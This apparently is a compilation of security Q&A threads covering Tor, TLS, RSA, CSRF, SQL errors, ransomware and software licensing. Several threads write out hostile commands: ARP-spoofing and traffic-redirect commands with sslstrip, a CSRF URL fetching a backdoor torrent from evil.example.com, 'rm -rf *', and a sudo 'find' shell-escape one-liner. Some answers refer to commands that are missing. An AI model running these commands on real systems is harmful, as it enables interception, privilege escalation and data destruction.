Weaknesses of TOR can be found on the wikipedia site: http://en.wikipedia.org/wiki/Tor_(anonymity_network)#Weaknesses

TOR's weaknesses are varied and subject to attack from different vectors. Some involve traffic pattern analysis which can reveal nodes, looking at captured packet data after it exits the TOR (or in your case, the VPN endpoint enroute to it's final destination), and some protocols contain real IP information which could reveal you.

Your VPN, since it is routed through the TOR network, largely serves to conceal your traffic from anyone listening on the TOR network itself. Once it leaves the TOR to the VPN endpoint, some of the TOR attacks become viable. (They probably won't know what is IN the VPN traffic as it is encrypted.) When the traffic leaves the VPN endpoint to it's final destination, it may or may not be encrypted anymore (depending on the traffic), and that data could be used to find out more information. Also, the VPN provider, may keep logs about who and what accesses their network for whatever reason. They can say they don't (some paid ones say so), but you can't ever really be sure. That alone may be a compromise.

Either way, it is a lot of work to put all the pieces of the puzzle together, which is the primary objective in the first place.

EDIT: Oh, one more interesting thing I forgot to mention...
Let's say you had accessed a website with a userID and password before anonymizing yourself, and the connecting information get's logged (IP address, yadda yadda) then you connect to the same website AGAIN later with that same user name and password (but this time from the TOR/VPN combo) the owners/admins of the site could look up that information and identify you almost immediately if they had the inclination to do so.


A single site for reporting unknown viruses I have just received an email with an unknown virus. I happily passed through my scanners. I have checked it's still unknown to all of 4 anti-viruses I have an access to.

I have already reported it to ClamAV and to Kaspersky but I when I tried to report it to other systems I quickly gave up. Some of them require registering, some require reporting as an encrypted email attachment. It's difficult to put a sample into over a dozen of antiviral systems.

Is there a single service for reporting virus samples?

You have a hand full of of Virus checking online services:

Virus total
Herdprotect
Meta scan
Jotti's Malware scanner
Threatexpert
Uploadmalware
Web of Trust

Most of them have connection with Security product vendors and may forward your samples upon request by the vendors.

Alternatively, you can directly email each vendor: http://www.techsupportalert.com/content/how-report-malware-or-false-positives-multiple-antivirus-vendors.htm


Authorising use of apps from a public store with no back end service I have a project I'm involved in which needs to distribute a mobile app to a specific audience. Due to regulatory restrictions in the target market, only this audience is allowed to access the data within the app yet it will be served from public app stores (multiple platforms are targeted).

I'm looking for thoughts on an authorisation method which is not dependent on a back end service such as a registration facility. All the data in the app is self-contained and once the app is downloaded there's no expectation (and in many cases, no facility) for internet connectivity.

One option would be a single "unlock" code that could be provided to target recipients of the app but there's a concern that if this was redistributed it would obviously circumvent the access control for anyone who obtained the code. Of course there's also the risk that any code contained within the app could be reverse engineered but then again, so could the data which we're trying to protect in the first place.

Ultimately I need to find a balance here between security and practicality. The data being protected is not commercially sensitive rather the access controls are due to regulatory obligations so the requirement to protect it is more about implementing "sufficient measures" rather than aiming for bulletproof.

Can anyone share some ideas on how the app may be served from a public app store and unlocked without the risk of a single secret such as a pass code being redistributed?

It seems like you're trying to both make the data publicly available as well as restrict it to a limited set of people, which is a contradiction in terms.

If you're just after UI-level access control in the app, you could come up with any ridiculous scheme, but somebody could then extract data from the app with likely little more than an unzip utility, depending on the data and how it's stored.

If you can use a single password, you could use key derivation to decrypt any encrypted data stored inside the app, however you already discounted 'a single "unlock" code'. Unless you have a list of codes, but that doesn't address the issue you outlined.

The only option I can think of which satisfies all the listed requirements would be two-factor: a device ID whitelist in conjunction with key derivation and encryption. There's almost no way that would make it past Apple and Microsoft, though.

It just doesn't seem particularly feasible to me.


Does choice of DBMS matter for protection against XSS and other injection attacks? I am choosing between the three most used databases, MySQL, Microsoft SQL Server and MongoDB. I have to choose the most secure database from these three.

Does my choice of DBMS has a role in protecting against XSS attacks and other similar attacks, or are they prevented only through only secure frontend and backend programming?

protection against XSS attacks ...

XSS is an attack against the client side, not the server side where the DBMS resides. Thus the choice of DBMS does not matter here.

  ... and other similar attacks

I'm not sure what you consider similar attacks. But when talking about DBMS the main attack vector is SQL injection and in case of NoSQL DBMS like MongoDB NoSQL injection.

  Does my choice of DBMS has a role in protection against ... attacks, or is it prevented only through only secure frontend and backend programming?

To protect against SQL/NoSQL injection you better make sure that you choose a DBMS where you don't need to construct query strings from user input but can use techniques like parameter binding - see bobby-tables.com for more details on this.

Apart from that you really should thoroughly verify all user input, and doubly so if your DBMS does not support things like parameter binding.


Arp Spoofing Causing Dropped Connections I have had a lecture today based on Arp Spoofing.
However, i can not get it to work.

Scenario:

My laptop - running kali

Target laptop (housemate - with permission) - running windows 8

Commands entered in order:

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1024
arpspoof -i wlan0 -t 192.168.0.1 192.168.0.9
arpspoof -i wlan0 -t 192.168.0.9 192.168.0.1

However, on completion of these commands, the connection on the targets machine is lost and they cannot access any webpages.

After trying to figure this out myself, i ran Wireshark and noticed that the connection goes as follows:

Target > host > website > host - STOPS HERE.

I am struggling to understand why the traffic is not being forwarded back to the target when i have enabled it?

I have tried to enable a listening program on the port (sslstrip) to see if that was the issue but this causes the same problem.

EDIT: Commands 3 and 4 were perfomed in seperate terminals

I have since figured this out.

Arpspoof has changed to version 2.4 since the tutorials i was reading were written.

I removed the IPTABLES entry.

I changed command 3 and 4 to the following:

arpspoof -i wlan0 -t 192.168.0.9 -r 192.168.0.1
arpspoof -i wlan0 -t 192.168.0.1 192.168.0.9

(Note the change in order and addition of the -r flag)


Can an attack that does not change the server state be considered a CSRF attack? From Wikipedia:

  A real CSRF vulnerability in uTorrent (CVE-2008-6586) exploited the
  fact that its web console accessible at localhost:8080 allowed
  mission-critical actions to be executed as a matter of simple GET
  request:

  Force a .torrent file download  http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent

  uTorrent's web interface used GET request for critical state-changing
  operations (change credentials, download a file etc.)

As far as I know, "CSRF attacks target functionality that cause a state of the server."(OWASP). However, CSRF attack in the above example in Wikipedia doesn't change the state of the server at all. Just one uTorrent client can download a file from malicious site.
So is the example a true CSRF attack?

The "state" of the server, in the case of a Bittorrent client, at least includes the list of pending, current and finished downloads, any data related to those downloads, and any settings related to the Bittorrent client's operation.

The "attack" is causing the Bittorrent client to start downloading data based on some specific torrent file that is available online, presumably under the control of or chosen by the attacker.

Causing the Bittorrent client to add a specific torrent to its list of pending downloads seems a clear state change, but one that could be temporary. However, once the file starts downloading, we can easily argue that the act of downloading the file definitely causes a persistent change of state on the system by storing arbitrary, dangerous and/or illegal data to disk, as well as the fact that we are now redistributing that data to others which in itself could be at least illegal.

Hence, the attack does change the server state (where in this case the "server" is the machine running the Bittorrent client software that is accessible through the web interface via its built-in web server functionality; that the software happens to also act as a Bittorrent client is immaterial here), and as such meets the OWASP definition of a CSRF attack that you quoted in your question. This in turn leads to the conclusion that yes, the described vulnerability does constitute a CSRF attack according to that definition.


How widely deployed is TLS with cipher ECDHE? Microsoft deployed a patch for Windows 2012 R2 and Windows 8.1 that adds the following ciphers.

Cipher suite                      Exchange  Encryption  Hash
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384     DH  AES         SHA384
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256     DH  AES         SHA256
TLS_RSA_WITH_AES_256_GCM_SHA384         RSA AES         SHA384
TLS_RSA_WITH_AES_128_GCM_SHA256         RSA AES         SHA256

ECDHE is missing (note the first set of letters in the cipher name after TLS_)*.   Grumblings about this lack of ECDHE support is also mentioned on the CERT forum thread

Question

Is there any TLS Survey that scans TLS cipher support in Websites for ECDHE?
How widely supported is ECDHE in the client?

Based on Microsoft's history, they might not prioritise ECDHE support until it's widely in use by servers, or web browsers.  I hope to use this information to estimate if/when MSFT may include such support in SChannel.

*Aside: why do I want ECDHE? Because it's faster.

Last year (May 2013), I ran an experiment by contacting SSL servers randomly: I was connecting to port 443 of random IPv4 addresses and, if I received a response,  my client engaged in a series of aborted handshakes in order to work out what cipher suites were actually supported by the server. I tried a few millions of addresses, and found about 13000 servers speaking SSL/TLS over port 443.

Of these, about 7.5% supported an ECDHE cipher suite.

Mind the details:

This was one year ago. Things may have changed since.
My client did not send any extension claiming support for any specific elliptic curve. It was only claiming "generic" ECDHE support. This may have prevented some servers from trying ECDHE cipher suites. In that sense, my figure may be an underestimate.
A corollary is that "ECDHE support" cannot be stated really generically. Many ECC implementations are limited to some curve types, most of them being able to process only a couple specific curves (the P-256 and P-384 standard NIST curves, so-called "suite B").
There are several ways to make sampling measures. My code was using random IPv4 addresses, thus finding not only Web sites but also many systems like home modems/routers. Existing, published SSL surveys like that one use the "top 1 million Web servers" from Alexa; this favours a notion of "economical significance" which may or may not map to what you want. Concentrating on "top sites" weeds out unmaintained SSL servers and, indeed, home modems and routers, which should increase ECDHE support. Indeed, that survey (from early 2014) finds that a whopping 21.6% of these "top sites" support ECDHE cipher suites.

As a side note, I must say that in most cases, performance increase implied by ECDHE (over DHE) is unlikely to be relevant. It takes an awful lot of connections per second to a basic Web server to actually see the difference (we are talking hundreds per second here). Another salient point is that you get the performance increase by supporting ECDHE cipher suites, and configuring your client or server to prefer such cipher suites when possible; you don't need to stop supporting non-ECC cipher suites to get that purported speed bonus. In that sense, decision to enable ECDHE cipher suites does not need to be backed by figures on who supports them and who does not; you can just activate them and use them opportunistically.


Email login accepts incorrect password if everything is correct except the last digit A quick question - wondering whether this is an accepted security practice or why this would be possible. I use a Shaw.ca email (a Canadian service provider) and I accidentally mistyped my password. I clicked enter and still was able to log in. After some experimentation, I found that if I mistyped only the last character of the login, my information was accepted. For example, if my password is Example123, then Example124, Example12u, and Example12# would all be accepted. Other characters changed don't have a difference. Any idea why this would be the case?

No, this is not accepted security practice. But it is probably not the only service either which silently cut off the entered password after a fixed number of characters. Check out their documentation if they document this behavior. If this is behavior if not documented please contact them so that they either fix this behavior or at least make this bad behavior obvious for the users.


RSA public key and private key lengths I'm having a problem understanding the size of an RSA public key and its private key pair.

I saw different key sizes for RSA algorithm (512, 1024,... for example), but is this the length of public key or the length of private key or are both equal in length?

I already searched for it, but:

In this question it is mentioned that both private and public keys for RSA algorithm have equal length.
But:
In this question it is mentioned that they have different lengths!

Both answers are accepted. Are they equal or not in length?

Moreover my Java Card applet that generate RSA key pairs, always return pubic key and private key of equal length. The online tools for generating RSA key pairs have different length output!

Examples:

Online tool 1:

Online tool 2:

> I saw different key sizes for RSA algorithm (512, 1024,... [bits] for example) but, is this the length of public key or the length of private key or both are equal in length?

It's the length of the modulus used to compute the RSA key pair.  The public key is made of modulus and public exponent, while the private key is made of modulus and private exponent.

> but the online tools for generating RSA key pairs have different lengths output!

The first picture shows public and private key in PEM format, encoded in Base64 (and not modulus and exponents of the key, which instead are shown in the second picture).

The content of the RSA private key is as follows:

-----BEGIN RSA PRIVATE KEY-----
RSAPrivateKey ::= SEQUENCE {
  version           Version,
  modulus           INTEGER,  -- n
  publicExponent    INTEGER,  -- e
  privateExponent   INTEGER,  -- d
  prime1            INTEGER,  -- p
  prime2            INTEGER,  -- q
  exponent1         INTEGER,  -- d mod (p-1)
  exponent2         INTEGER,  -- d mod (q-1)
  coefficient       INTEGER,  -- (inverse of q) mod p
  otherPrimeInfos   OtherPrimeInfos OPTIONAL
}
-----END RSA PRIVATE KEY-----

while a RSA public key contains only the following data:

-----BEGIN RSA PUBLIC KEY-----
RSAPublicKey ::= SEQUENCE {
    modulus           INTEGER,  -- n
    publicExponent    INTEGER   -- e
}
-----END RSA PUBLIC KEY-----

and this explains why the private key block is larger.

Now, why does the private key contain so much data? After all, only the modulus n and the private exponent d are needed. The reason all the other stuff is precomputed and included in the private key block is to speed up decryption using the Chinese Remainder Algorithm. (Kudos to @dbernard for pointing this out in the comments.)

Note that a more standard format for non-RSA public keys is

-----BEGIN PUBLIC KEY-----
PublicKeyInfo ::= SEQUENCE {
  algorithm       AlgorithmIdentifier,
  PublicKey       BIT STRING
}
AlgorithmIdentifier ::= SEQUENCE {
  algorithm       OBJECT IDENTIFIER,
  parameters      ANY DEFINED BY algorithm OPTIONAL
}
-----END PUBLIC KEY-----

More info here.

BTW, since you just posted a screenshot of the private key I strongly hope it was just for tests :)


Database Error Error: SQLSTATE[23000]: Integrity constraint violation. Is it vulnerable to SQLi? I am performing penetration testing on a site. Most of the request are performed by post request in background. When I intercepted one request using Live HTTP Header and replayed it using same parameters as in the original request following error was genetrated(however the original request was successful):

Database Error

Error: SQLSTATE[23000]: Integrity constraint violation: 1048 Column 's_id' cannot be null

SQL Query: INSERT INTO a2.user_s_likes (s_id, user_id, status, added_on) VALUES (NULL, 924300, NULL, '2016-09-01 13:28:29')

Notice: If you want to customize this error message, create app/View/Errors/pdo_error.ctp
Stack Trace

CORE/Cake/Model/Datasource/DboSource.php line 460 → PDOStatement->execute(array)
CORE/Cake/Model/Datasource/DboSource.php line 426 → DboSource->_execute(string, array)
CORE/Cake/Model/Datasource/DboSource.php line 1004 → DboSource->execute(string)
CORE/Cake/Model/Model.php line 1827 → DboSource->create(UserSLike, array, array)
APP/Controller/SController.php line 1584 → Model->save(array)
[internal function] → SController->sActivity()
CORE/Cake/Controller/Controller.php line 490 → ReflectionMethod->invokeArgs(SController, array)
CORE/Cake/Routing/Dispatcher.php line 187 → Controller->invokeAction(CakeRequest)
CORE/Cake/Routing/Dispatcher.php line 162 → Dispatcher->_invoke(SController, CakeRequest, CakeResponse)
APP/webroot/index.php line 116 → Dispatcher->dispatch(CakeRequest, CakeResponse)

The following request was made with LiveHTTP header

Host: www.xyz.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Referer: https://www.xyz.com/Dashboard/
Content-Length: 24
Cookie: live_cookie[support_chat_me]=35dbce45627dcff25cc9c2176e0d2085a; CAKEPHP=96abc64p54s524dgrj6injsfx5; __tawkuuid=e::xyz.com::C8WeiSHNj53hAYU545QNvyDPV+tNvx0+usD3q564jk2EenfhtToWQj0BER7V7cqG::2; Tawk_56497b21458b0ebc5e6d22b6=vs17.tawk.to:443::0; __auc=943798cd156cf1c4684725d7a45; PHPSESSID=kjk7fsap9kk25ib182euqfqk71; AWSELB=213575250CC01012FFAB662292465465sldfjJDHFN8A45F10D97D09300BDA1AF5D7A0DA8E6C1C41D40BC34DD2C2E0SDnskjdh Dlkf5FD6A5E;

s_id=12536&status=1

The s_id and status variable was send through post request however the server is responding with database error as if null variable was send. This only happens when individual request through LiveHTTP header or Burp is send. Is this database vulnerable to some sort of error based SQL injection ?

The error Database Error Error: SQLSTATE[23000]: Integrity constraint violation itself means that the column 's_id' could be a primary key and because of that, the system is not allowing it to be null. The details posted above cannot give a definitive answer whether the application is vulnerable to SQL injection or not.


Can I properly make password-protected 7z archives secure? After reading the question and answers of this and this, I left with an overall impression from the last one that zips were considered not safe and insecure way of sharing data.

I still think password-protected compressed files can be made secure. So let me get this straight with this very

Specific scenario

You're using the 7z command, version 9 or above, in a Linux machine. Not zip. Not rar.
Correct me if I'm wrong, but 7z uses AES-256 by default when password protected, no matter if the archive format is going to be .zip or .7z
You want to create a self-extract file archive.exe from directory dir1 and want all filenames contents and names and all headers to be encrypted, so you run

7z a -mhe=on -psecretpassword -sfx archive.exe dir1
The password used was very strong, assume entropy enough
You securely shared the password with the file's intended recipient. Only you two know the password
You also securely share the archive's SHA1 hash
You now make this file available for the person to download

I say that

The person can extract this archive even in a Windows machine without any program just with knowledge of the password
The names of the files in encrypted directory dir1 cannot be read if you don't know the password
The archive cannot be tampered with file substitution because filenames and headers were also encrypted
Any tempering would be noticed if the person checked the SHA1 after downloading
In terms of confidentiality of file names and contents, this is as secure as compressing the directory with anything (zip, rar, tar.gz) and applying openssl aes-256-cbc on it
The self-extraction adds no vulnerability, and if it did, simply removing the -sfx or changing it to -t7z would fix it, though in this case the person would need 7-zip to extract it

Correct or not?

The question: Is a self-extracting archive encrypted with a perfect implementation of AES, using a key with sufficient entropy secure against an eavesdropper or active man-in-the-middle, if a cryptographic hash of the archive and the key are transmitted over a separate channel which is assumed to be secure?

Yes.

Some of these assumptions may not hold in the real world, though.

Examining the first assumption, there's a relevant question on this forum from almost a year ago: https://stackoverflow.com/questions/12470378/how-key-derivation-and-key-verification-functions-are-implemented-of-a-7-zip-arc

According to the discussion there, 7z uses a strong password-based key derivation function, and AES in CBC mode (which is fine, because we're assuming a SHA1 hash of the archive gets verified before decryption is attempted; which will stop padding oracle attacks).

However, the previous discussion also highlights a lack of documentation, and hard-to-read code in 7z. I'm not aware of any substantial cryptanalysis being done on 7z; so in using it, you're ultimately putting your trust in its developer to have gotten all the crypto implementation correct.


Detecting Process Hollowing I was brainstorming methods of detecting process hollowing and other forms of code injection, and this one seemed pretty robust.

Would it be possible for a "process hollowing scanner" to enumerate all the executable pages in a process' memory, enumerate all the executable sections of the process' associated image file, and see if there were any pages in the memory that didn't have any corresponding pages in the image file, for example by fuzzy hashing the image file, hashing each memory page, and comparing the two sets?

This would seem to detect process hollowing very well -- any code injected into a process would not be present in the image file, and unless the attacker could find some collision attack against the hashing algorithm they wouldn't be able to fool the detector (and anyways multiple algorithms could be used). And because the detector relies on looking for anomalous extra segments in the process' memory instead of directly hashing the memory and comparing it to the file, it would work even if the entire image file isn't mapped into memory.

So is this a valid method of detecting process hollowing? I don't believe I've seen this method used anywhere to detect code injection (the closest I've seen is when rootkit scanners compare the hash of a process' entire memory section against the hash of the entire image file, which only works if the file is mapled entirely i memory).

Is this a feasible method to detect code injection/process hollowing?

Trustwave SpiderLabs wrote up a blog on analyzing malware with hollow processes -- https://www.trustwave.com/Resources/SpiderLabs-Blog/Analyzing-Malware-Hollow-Processes/

Cuckoo Sandbox, a popular and free, open-source software (FOSS) automated malware analysis engine can also be leveraged for working with hollowed processes -- http://journeyintoir.blogspot.com/2015/02/process-hollowing-meets-cuckoo-sandbox.html

and the mother-of-all articles on process hollowing has been summarized here -- http://marcoramilli.blogspot.com/2016/05/process-hollowing.html


Do any speculative executation attacks affect ARMv7 CPUs? Do we know if there are speculative execution attacks that affect ARMv7 CPUs at this time? Are there any theoretical risks that need further investigation?

ARMv7 is a version of the ARM CPU specification, not a specific CPU design.

Some ARMv7 implementations, like Cortex-A15, make use of speculative execution and are affected by the Spectre vulnerability. Others, like Cortex-A5, do not implement speculative execution and are unaffected.

For details on which ARM cores are affected and what mitigations exist, refer to: https://developer.arm.com/support/arm-security-updates/speculative-processor-vulnerability


Why does Sage Ransomeware blacklist League of Legends, steamapps, etc.? I was recently reading the Malwarebytes Labs threat analysis for Sage Ransomware. I found it interesting to learn that, apparently, in addition to system directories, which makes sense, paths to games like League of Legends as well as the path to steamapps are excluded from the attack. The article does not speculate on why this is the case, which leaves me curious and speculating to myself. Is there any readily apparent reason why the malware's creators did this? Or am I just overthinking it? Is it indicative of a target demographic, attack vector, and/ or delivery method? The only potentially obvious reason that I can think of for why this may have been done is so as not to interrupt a distracted gamer, and thus allowing the process to continue to run in the background less likely to be noticed by the user. However, I feel like that is too simple an explanation. I would venture that the average computer user would not recognize the signs of infection even if they weren't engrossed in some game or task on the system. As is intrinsically the case with the vast majority of ransomware, the target demographic is typically the casual user who is less likely to back up their data than a power user who would be more likely to notice the signs of infection, which makes this explanation seem even less likely. Considering most data for many games is not stored locally (with the majority of data that is stored locally also backed up in the cloud, as is the case with Steam) and license keys are now often managed by a digital distribution platform, I can see why it would be almost pointless to encrypt those files.* Even still, I would venture that encrypting those files would further contribute to the sense of invasion/ vulnerability/ loss experienced by the victim. From a social engineering/ psychological standpoint, this would likely increase chances of the victim paying the ransom. Am I just giving the creator(s) too much credit? A move like this seems like a very deliberate thing to do, which leaves me very curious as the motivation.

Recognizing that trying to determine or ascertain Sage coders' actual motivation for their programming decisions will more be a matter of opinion and speculation than fact, my question boils down to two questions that I encountered in speculating:

What versions of windows are typically targeted? Is it similar to how WannaCry spread, targeting a wide variety of Windows OS's? Or was it more focused on home user OS's (e.g. XP, Vista, 7) versus commercial OS's (e.g. Windows Server 2000, 2008)?
In what was has Sage been spread/ dropped? As the article states, "Most often, Sage is dropped by downloader scripts distributed via phishing e-mails." However, since the article states that one of the forms in which it was dropped was a standalone JavaScript file, this opens up numerous potential attack vectors. I'm curious to know if anyone is aware of any other attack vectors that Sage has used, if any at all.

*Speaking mainly about online-only games like League of Legends where the user's profile information is stored online. However, Sage excludes the entire steamapps paths, which is also where save information for local only/ single player games is stored.

UPDATE: Just to clarify, I understand why it makes logical sense to attempt to prevent from encrypting low value, easily replaceable files. However, what I find interesting is the methodology used by the coders to accomplish this. Arguably, you could generate a blacklist the specifies at least a hundred directories where low value data and files are typically stored for various use cases. However, the coders only excluded very specific file paths from encryption. Would it not makes more sense, if your goal is to encrypt as much of the highest value data as possible as quickly as possible, to try to target the encryption to file paths where the most valuable data is most typically stored? This would narrow the scope of the files being encrypted and increase the chances of catching something valuable enough to motivate a user to pay the ransom.

I'm guessing these games are fairly large (GTA V is 10s of gigabytes). Therefor, it would take a considerable amount of time to encrypt these which increases the chance of being detected. Often these games store the profiles in another directory which might be included in the encryption process. The game can be reinstalled but the profile might not be recoverable.


How does TLS protect against a MITM cipher suite downgrade? The initial TLS handshake agrees on a cipher suite to use, but what stops an attacker from MITM-ing the initial handshake and downgrading the cipher suites?

In short, the Finished message is a hash of the entire handshake, encrypted with the negotiated keys. The negotiated keys are derived by something protected by asymmetric cryptography. Validation of the Finished message validates the transcript of the handshake.

This is probably answered in multiple answers on SE for "How does TLS work?".


Determining how my Wordpress website was compromised I have got a blog running Wordpress. The last time I visited my blog I realized it was hacked. The website redirects to a phishing page of paypal meanwhile other links a opening fine. I want to know how that attack was made, how to fix this problem and what security measures I must adopt so that it should not happen in future.

I will try to explain how such and similar hacks happens. They are really prevalent and at some point of time I was puzzled with something like this: who can possibly reply to an email that claim that some nigerian king wants to share his 5mln$ and needs your help, and in such a case why spammers are sending these spam.

First of all one have to understand that this attack was not tracking particular user or particular site. Most probably the person who decided to do the attack had no clue about the site beforehand.

He googles something like this: vulnerability in wordpress, and gets tons of results. For example this is the list of vulnerabilities, but this is too much text and I do not have time too read it. So let's see something easier. Ok, this sounds like a deal and the threat looks amazing:

  The utility only does a partial match on hostnames allowing hackers to
  upload and execute arbitrary PHP code in your timthumb cache directory

http://markmaunder.com/2011/08/02/technical-details-and-scripts-of-the-wordpress-timthumb-php-hack/

It has even some ideas how to exploit it, but lets just look at the google query: how to exploit timthumb.php . The link with a title technical details sounds like it can give you a technical detail (actually it is not, but I will stop writing here so that it will not look like I am telling how to break something).

  The ability for a site visitor to load content from a remote website
  and to make the web server write that remote content to a web
  accessible directory is the cause of the vulnerability in timthumb.php

amazingly convenient.

So the person is testing vulnerability on his machine and after it gives him a possibility to upload an arbitrary file on your machine it will upload something bad. And than run it. Ok he has done it on his machine, but how he found this guy?

Answer is simple: attacker was not looking for it, he was just looking for every site that used timthumb.php. After getting them he tries every site and chances are big that one of 10 sites would have this exploit.

I am not claiming that the writer's site was hacked in such a way but most probably in similar way.

I have written this with one thing in mind - give the idea how is it done, not to tell how you can do it (in this case it is written really badly)

Another reason for writing it is to tell what can you do - update your core as often as possible. Check for bugs and exploits.

The good thing is this sort of attacks is done by people who has no idea how to do create it. Nevertheless I am a programmer, but I have never even used wordpress and it took me less then an hour to write the post and search for exploit.

So most of the people like I have just describe are like monkeys - they have no idea what are they doing (they just copypaste something). They see something on site, they want to look like hackers and they are really proud if they will be able to do. And if they will not succeed with simple instructions - they will just move to next possible victim.

Sorry if my answer looks unstructured and stupid. If you think you can improve it - I would be glad

EDIT: Please patch your website ASAP. If you feel the desire to show the community what the page exactly is; save the html file as a txt file. This way it doesn't execute anything on more computers.  Your blog has been marked as a phishing website, firefox prompts and suggests "getting out of here".


Protect a software in offline envirement These days I intensively read maybe all posts and topics based on software security, but I couldn't find any solution that would be acceptable for me (if there are any of them matching my requirements).
So I have .EXE application written in the c# programming language and I have an installation which places all necessary DLLs and config files on the chosen path in the system. The system is always a windows environment with no internet connection to the outside world.
So my question is: Is there any good approach for licensing my application, most importantly can I prevent propagation and installation of my application on different systems (machines)? How I can detect if for example, the same license file or product key are used in different windows/machines?
With every approach that I found there is always a problem with this part of licensing or most of them were an online approach. Additionally even a server machine in offline mode isn't an option.
Is there any solution?

Is there any solution?

No.
For there to be a complete, perfect solution, you cannot be in a situation where the licensee has full control over the whole runtime environment; for, when this happens, by definition the program can be made to run in any number of copies one desires.
Control must be taken away from the licensee, which means there need to be something they do not control. So, you can have a solution if you change your premises to include this:

obviously they cannot control an external license server (but you want to work offline)
it was believed (wrongly) that they could not control some specific characteristics or features of the hardware (disk serial numbers, MAC addresses...). Virtual environments put paid to that notion (but maybe you can do something there?)
they cannot control an embedded license server - that is, a smart key/dongle (this is another option. Keep in mind that this goes against ease of use, and often leads to a loss of customer base - would you rather have 50% licensing on 10000 customers, or 100% on one thousand?).
they cannot control the flow of time and the software's inputs both.

Any other setup will fail in a very simple way like this:

I install the software on a computer. That computer is actually a virtual machine residing on a server I control. This, by the way, is where the market is going: few, redundated physical machines with VMs that share storage and CPU resources. Requiring a software to run in an "unvirtualized environment" might soon become similar to requiring the OS to be 32 bit.
I make however many separated, isolated copies of that VM as I want. Each of them "believes" to be the original one and "sees" itself in a computer that is indistinguishable from the original, because it is.
I now have however many copies of the software as I want.

Some protection schemes try to leverage blockchain and a periodic update system to prevent the software from being "reverted" to a previous state. This way, the software can ensure that it has been running more than a specific set time or that it has processed more than a given quantity of information; when this happens, the software requires an "update" to continue running, and the "update" embeds a random public key. As a result, the update released for instance #1 of the software will not work to update any other instances, that, lacking the update, will legitimately refuse to run (and you cannot require ten updates for the two licenses you have). Thwarting this scheme is sometimes possible but typically requires a premeditated, expensive hacking effort, and therefore is usually never done; which makes this approach perhaps suitable for your purposes.
For example, a software that examines invoice information for tax optimization purposes will refuse to examine invoices dated farther in the future than 180 days from the last update. To force it to work, it would need to be fed invoices whose dates are artificially set back, then the optimization data would need to be reprocessed to bring the dates back to normal, at the risk of introducing calculation errors that could result in huge fines instead of the expected deductions. So, cracking the program is not feasible. In this case, the thing the licensee cannot (afford to) control is the program's input.
However, the larger part of the "license" battle is fought and won on licensing and software flexibility and affordability. You might... let's say "not discourage" copying, if that allows you to get new customers (this is common for those softwares that require significant customizations to reap the full benefits). Knowing you're not going to gouge the customers for additional licenses will go a long way against plans to replace your software altogether in a few months' time. Also, much depends on the customers themselves: a large firm has a strong incentive towards running a tight ship and only using fully licensed software, just in case they might get audited. The savings from pirate copies might simply not be worth it.


How to secure a web service for web applications using same database? I have 2 or more web applications that need to be able to communicate together using a web service interface.

Information

All applications are using TLS/SSL (https)
All applications have access to the same database and that database can only be access by these applications

My problem is that I don't want anyone else to be able to use the web service. Meaning that only the applications should be able to call the web service to get information or execute an action on another application.

Is there any "simple" way to do that?

I figured that since only the applications have access to the database, I could probably use it as a trusted third party to validate the identity of the one calling the web service.

EDIT

There was some confusion with the current setup so here are some additional information

The applications and the web service are the same thing. Each application define a web service interface to enable the other applications to communicate with it
The applications and the database are all hosted on the same server and it's a dedicated server that only host those applications and that database and it is run by "myself"
All the applications are secure and require authentication to be used
I need to use a web service instead of using the database to communicate between the applications because each applications is using a different language and the business logic is all in the applications code. This business logic code need to be called when the applications communicate together.

My problem is that I don't want anyone else to be able to use the web
  service. Meaning that only the applications should be able to call the
  web service to get information or execute an action on another
  application.

  Is there any "simple" way to do that?

There are several ways. You say you use HTTPS; so you can add a simple authentication scheme (shared secret) with very reasonable safety. I assume the applications themselves are secured.

You can also perhaps employ client certificates for the SSL conversation (i.e., the SSL channel also supplies identity certification). Depending on your setup, it might be easier to implement than adding authentication to the web service.

Possibly, you can use an authenticating proxy. This requires a more awkward setup, since you're in practice using the proxy to run a man-in-the-middle attack against your own SSL connection. Or you can use some sort of web service-aware front-end developed for that purpose, that would do essentially the same (identifying itself as the real web service, then passing the connection to the real web service after removing extra authentication information).

In all cases, you can reduce the attack surface by routinely denying access to the services at the IP level, unless the requests come from a neighbourhood of known application installations.

A specialization of this approach would be to establish a full VPN between applications and web service. This would have the advantage that neither apps nor web service would require any substantial modification, but would come at some performance cost (you're running an encrypted connection inside another).

  I figured that since only the applications have access to the
  database, I could probably use it as a trusted third party to validate
  the identity of the one calling the web service.

You can, but at that point your applications are already communicating with the system running the web service through the database. Whatever channel you're using for the database, you can either use that same channel/method, or you should suspect it to be insecure.

For example, the applications (or the service) are now accessing an external database server - can anyone access that server? If yes, you might have some problems right there. If not, which is more likely, then why? (And I guess the answer is "SSL encrypted connection, password/certificate authentication, and/or IP verification, or full VPN").

Update

In your setup, the applications and the web services they expose are on the same machine (this is not so common, which is why I hadn't thought of the possibility). This allows for 'trivial security' -- i.e., you can expose the web service interface(s) on 'localhost'. You can even use them in the clear, dropping SSL altogether, since localhost communications won't leak outside the machine. And to intercept them one would need a sufficient level of access to the server that the point is moot anyway.

If you want, or if you ever need that, you can also expose a (different?) web service on the external interface, and run that endpoint with authentication and SSL security (possibly with client certificate check also).

As things stand, it seems to me that you are already secure. Just check that the applications/frameworks/servers default configuration does not include binding to any interface (it is very often the default), because that would potentially allow access from outside.


In some situation can be dangerous to echo command (e.g. rm -rf *) using a script? If I have a script which on some conditions just do

echo "rm -rf *"

Can it be exploited in some way?

EDIT: the goal is to write an enumeration script which will eventually suggests a command to execute to privilege escalate. So rm -rf is not the most appropriate example. A better example: imagine that the script finds "find" command in sudo -l list then the script will output

"find . -exec /bin/sh \; -quit"

As mentioned here:

  You could pipe your command into a shell so it gets executed:

  Or you could pass it as an argument to a shell:

  Or you could use the bash built-in eval:

Even if your script contains several lines, including echo "rm -rf", it would be trivial to cat it and extract that line, and then apply the above mentioned tricks to wipe everything.


Using a home-brewed hash for passwords for a insignificant website First off: I do not, nor intend to, use a home brew hash functionality, ever. I'm aware why one shouldn't do that and have read enough topics about it to know it's foolish to do.
